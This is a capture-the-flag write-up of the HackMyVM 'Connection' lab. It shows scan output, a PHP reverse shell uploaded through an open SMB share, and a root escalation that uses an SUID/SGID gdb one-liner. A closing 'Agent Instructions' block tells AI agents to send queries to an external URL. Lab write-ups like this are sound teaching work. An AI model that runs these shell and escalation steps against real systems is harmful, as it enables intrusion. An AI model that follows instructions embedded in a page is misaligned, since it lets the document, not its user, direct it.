# Connection Write-Up ## Introduction In this write-up, I will guide you through the steps I took to complete the HackMyVM - Connection CTF challenge. The objective is to gain root access to the target machine by exploiting identified vulnerabilities. Checkout the video [here](https://youtu.be/DpPyX6x_DYQ) (update this). ## TL;DR * [x] Run Nmap. * [x] Enumerate SMB Server. * [x] Upload PHP Reverse Shell. * [x] Get user flag. * [x] Check SUID permissions. * [x] Escalate privilege. * [x] Get root flag. ## Reconnaissance ### **Network/Port Scanning (Nmap)** **Command:** ```bash nmap -sV -sC -vv -oA connection 172.16.101.89 ``` **Explanation:** * `nmap`: Tool used to scan network and ports to discover which services are running. * `-sV`: Perform version detection of services. * `-sC`: Scan using default scripts. * `-oA`: Output in filename "connection". * `172.16.101.89`: IP address of Connection VM on my network. **Output:**
``` # Nmap 7.95 scan initiated Tue Oct 22 22:18:23 2024 as: nmap -sC -sV -vv -oA connection -p- 172.16.101.89 Nmap scan report for connection.home.com (172.16.101.89) Host is up, received syn-ack (0.0060s latency). Scanned at 2024-10-22 22:18:23 PDT for 15s Not shown: 65531 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxNh+4rTxFF/c8dZwGAg+SIl5zJE1Rq8y3vlHZ2P7gTdRQDb7XlWK8W5O0XVtBVqWlvLZlHIOniUJlSlcps51cHo58B9KczrZME5phRmiYLOo2pTBmra6sZADq7mmlHkpz1LbpmgzSGchrrp9pSxUjcdmpffhgd79i/q0d4ya7vK4R/tcegMNUxjkmW83JCu0Mc2qw3JvzqCQ5BGyrgGrsb4VguV/MZrPzX8nwM7i2ivsg+d171360aa9SXtoGELkBfeqCOKRCOckw2gfQlo2tsdc26jwimBygMPpkAH87zMJdl5iEX7p9tPr4ddIp9DtPjsSB3Cu2ObOr9iAYVvy5 | 256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHVs0JAs/3OsoWURkn+P6KrjxC1zzMry+q3H+RX+UW05NQvD3NORKjL0gnr+LOumhE1cMGmCgMTcaJ41T5nbxM= | 256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM9EVXAcxAJmQLNl3ttKL8QEWy+X+0R/rmS0tyt/bd2t 80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Apache2 Debian Default Page: It works | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD 139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | nbstat: NetBIOS name: CONNECTION, NetBIOS user: , NetBIOS MAC: (unknown) | Names: | CONNECTION<00> Flags: | CONNECTION<03> Flags: | CONNECTION<20> Flags: | \x01\x02__MSBROWSE__\x02<01> Flags: | WORKGROUP<00> Flags: | WORKGROUP<1d> Flags: | WORKGROUP<1e> Flags: | Statistics: | 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 | 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 |_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00 | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian) | Computer name: connection | NetBIOS computer name: CONNECTION\x00 | Domain name: \x00 | FQDN: connection |_ System time: 2024-10-23T01:18:38-04:00 | smb2-time: | date: 2024-10-23T05:18:38 |_ start_date: N/A | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 34253/tcp): CLEAN (Couldn't connect) | Check 2 (port 38421/tcp): CLEAN (Couldn't connect) | Check 3 (port 43723/udp): CLEAN (Failed to receive data) | Check 4 (port 46473/udp): CLEAN (Failed to receive data) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Oct 22 22:18:38 2024 -- 1 IP address (1 host up) scanned in 15.28 seconds ``` **Findings:** After a very long time, we get to see many services running on the box. We see that there is a web server running on port 80, an SMB server on port 139, 445 and an SSH server on port 22 which I am assuming is for better shell access after we find the user password or private key. Let's check out the web server and in the background we can run `gobuster` to brute force web directories. ### **Directory Brute-forcing (Gobuster)** **Command:** ```bash gobuster dir -u http://172.16.101.89 -w /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,html | tee -a connection.gobuster ``` ***Note:***** I have setup an alias to run *****gobuster***** inside a docker container.** Alias: `alias gobuster='docker run -it --rm --name gobuster -v /home/ayush/Tools/SecLists/:/SecLists ghcr.io/oj/gobuster'` **Explanation:** * `dir`: Mode of operation indicating directory/file enumeration. * `-u http://172.16.101.89`: Base URL of the target web server to scan. * `-w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Path of word list to use. * `-x php,txt,html`: Search for the PHP, HTML and TXT file extensions. **Output:**
``` =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://172.16.101.89 [+] Method: GET [+] Threads: 10 [+] Wordlist: /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,php,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 278] /index.html (Status: 200) [Size: 10701] /.html (Status: 403) [Size: 278] /.php (Status: 403) [Size: 278] /.html (Status: 403) [Size: 278] /server-status (Status: 403) [Size: 278] Progress: 882236 / 882240 (100.00%) =============================================================== Finished =============================================================== ``` **Findings:** Let's check out the web server and in the background we can run `gobuster` to brute force web directories. ### Visiting Web Page (Port 80)
This is just the normal landing page for an Apache server. On checking the source code, there is nothing extra or interesting. So, let's test the SMB server. ### **Enumerating Samba Server (enum4linux)** **Command:** ```bash enum4linux -a 172.16.101.89 ``` **Explanation:** * `-a`: Do all simple enumeration (-U -S -G -P -r -o -n -i). * `172.16.101.89`: IP of the target samba server to enumerate. **Output:**
``` Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Oct 22 22:30:57 2024 =========================================( Target Information )========================================= Target ........... 172.16.101.89 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ===========================( Enumerating Workgroup/Domain on 172.16.101.89 )=========================== [+] Got domain/workgroup name: WORKGROUP ===============================( Nbtstat Information for 172.16.101.89 )=============================== Looking up status of 172.16.101.89 CONNECTION <00> - B Workstation Service CONNECTION <03> - B Messenger Service CONNECTION <20> - B File Server Service ..__MSBROWSE__. <01> - B Master Browser WORKGROUP <00> - B Domain/Workgroup Name WORKGROUP <1d> - B Master Browser WORKGROUP <1e> - B Browser Service Elections MAC Address = 00-00-00-00-00-00 ===================================( Session Check on 172.16.101.89 )=================================== [+] Server 172.16.101.89 allows sessions using username '', password '' ================================( Getting domain SID for 172.16.101.89 )================================ Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup ==================================( OS information on 172.16.101.89 )================================== [E] Can't get OS info with smbclient [+] Got OS info for 172.16.101.89 from srvinfo: CONNECTION Wk Sv PrQ Unx NT SNT Private Share for uploading files platform_id : 500 os version : 6.1 server type : 0x809a03 =======================================( Users on 172.16.101.89 )======================================= =================================( Share Enumeration on 172.16.101.89 )================================= Sharename Type Comment --------- ---- ------- share Disk print$ Disk Printer Drivers IPC$ IPC IPC Service (Private Share for uploading files) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP CONNECTION [+] Attempting to map shares on 172.16.101.89 //172.16.101.89/share Mapping: OK Listing: OK Writing: N/A //172.16.101.89/print$ Mapping: DENIED Listing: N/A Writing: N/A [E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* //172.16.101.89/IPC$ Mapping: N/A Listing: N/A Writing: N/A ===========================( Password Policy Information for 172.16.101.89 )=========================== [+] Attaching to 172.16.101.89 using a NULL share [+] Trying protocol 139/SMB... [+] Found domain(s): [+] CONNECTION [+] Builtin [+] Password Info for Domain: CONNECTION [+] Minimum password length: 5 [+] Password history length: None [+] Maximum password age: 37 days 6 hours 21 minutes [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 [+] Domain Password Complex: 0 [+] Minimum password age: None [+] Reset Account Lockout Counter: 30 minutes [+] Locked Account Duration: 30 minutes [+] Account Lockout Threshold: None [+] Forced Log off Time: 37 days 6 hours 21 minutes [+] Retieved partial password policy with rpcclient: Password Complexity: Disabled Minimum Password Length: 5 ======================================( Groups on 172.16.101.89 )====================================== [+] Getting builtin groups: [+] Getting builtin group memberships: [+] Getting local groups: [+] Getting local group memberships: [+] Getting domain groups: [+] Getting domain group memberships: ==================( Users on 172.16.101.89 via RID cycling (RIDS: 500-550,1000-1050) )================== [I] Found new SID: S-1-22-1 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [+] Enumerating users using SID S-1-5-21-3843522870-3254407083-846408333 and logon username '', password '' S-1-5-21-3843522870-3254407083-846408333-501 CONNECTION\nobody (Local User) S-1-5-21-3843522870-3254407083-846408333-513 CONNECTION\None (Domain Group) [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\connection (Local User) [+] Enumerating users using SID S-1-5-32 and logon username '', password '' S-1-5-32-544 BUILTIN\Administrators (Local Group) S-1-5-32-545 BUILTIN\Users (Local Group) S-1-5-32-546 BUILTIN\Guests (Local Group) S-1-5-32-547 BUILTIN\Power Users (Local Group) S-1-5-32-548 BUILTIN\Account Operators (Local Group) S-1-5-32-549 BUILTIN\Server Operators (Local Group) S-1-5-32-550 BUILTIN\Print Operators (Local Group) ===============================( Getting printer info for 172.16.101.89 )=============================== No printers returned. enum4linux complete on Tue Oct 22 22:31:38 2024 ``` **Findings:** * A user `connection` was found. * A shared folder `share` was found. * Guest login without credentials is allowed. Let's try connecting to the `share` folder as a guest. Use the following command to do so: ``` smbclient --no-pass //172.16.101.89/share ``` **Output:**
We see that the `share` folder is the folder that serves the files on the HTTP server. So using the SMB server, we can add a PHP Reverse Shell there and access it from the HTTP server. ## User (*www-data*) Access ### Gaining Reverse Shell So, in another terminal, download the PHP Reverse Shell: ```bash wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php ``` Change the IP Address in the Reverse Shell file to your attacking machine:
After setting up the PHP Reverse Shell, we have to copy it to the *html* folder in the SMB share. In the terminal where we connected to the SMB server, run the following command to copy the Reverse Shell: ``` put php-reverse-shell.php ```
Now, we should be able to run the Reverse Shell by visiting the following URL: ``` http://172.16.101.89/php-reverse-shell.php ``` So, lets start our listener with the following command: ```bash nc -lvnp 1234 ``` After visiting the above URL we will have a reverse shell as shown:
First thing we do, is upgrade the shell. ```bash python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm ```
## Privilege Escalation Let's checkout the `sudo` permissions we have for *www-data*. Command: ```bash sudo -l ``` **Output:**
It seems the *sudo* command is not present in the machine. So, next we move on to the [OSCP Privilege Escalation Cheatsheet](https://github.com/evets007/OSCP-Prep-cheatsheet/blob/master/linux-privesc.md#find-suid-files) that we refer to, to look for files with SUID or SGID permission. We check for SETUID capable binaries using the command: ```bash find / -perm -g=s -type f 2>/dev/null ``` **Output:**
There is an interesting file here, the */usr/bin/gdb* file. On checking [GTFOBins](https://gtfobins.github.io/gtfobins/gdb/) we see that */usr/bin/gdb* can be used to get *root* shell with the following command: ```bash /usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit ```
And thus we have root. And finally, we can read the root flag: ```bash cat /root/proof.txt ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://ctfs.bajirao.dev/hackmyvm/connection-write-up.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.